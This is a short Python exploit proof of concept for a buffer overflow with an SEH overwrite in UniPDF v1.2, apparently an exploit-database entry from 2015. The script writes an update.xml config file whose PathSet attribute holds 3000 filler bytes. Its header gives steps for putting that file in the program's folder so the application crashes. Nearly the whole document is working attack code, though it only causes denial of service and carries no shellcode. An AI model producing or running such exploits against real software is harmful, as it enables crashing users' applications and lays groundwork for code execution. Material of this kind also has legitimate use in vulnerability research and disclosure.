# Exploit Title: UniPDF v1.2 BufferOverflow, SEH overwrite DoS PoC
# Author : Avinash Kumar Thapa "-Acid"
# Date of Testing : 25th April 2015
# Tested On : Windows XP- Service Pack 3 && Windows 7 Home Basic
# Steps to reproduce the Crash is:
# Step 1: Run the POC
# Step 2: Go to local Disk C:\Program Files\UniPDF and copy the POC there
# Step 3 : Run the UniPdf.exe
buff2 = "\x41" * 3000
crash = " <config>\n"
crash += " <UserDefine>\n"
crash += "<Language ID=\"0\" />\n"
crash += "<Path PathSet=\""+buff2+"\" Path=\"\" />\n"
crash += "<ImageFormat set=\"2\" />\n"
crash += "<Res set=\"96\" />\n"
crash += "<bit set=\"24\" />\n"
crash += "<Prefix set=\"\" />\n"
crash += "<Doc set=\"1\" />\n"
crash += "<Help set=\"1\" />\n"
crash += "</UserDefine>\n"
crash += "</config>\n"
print "POC Created By -Acid"
print " acid.exploit@gmail.com"
file = open("update.xml","w")
file.write(crash)
file.close()
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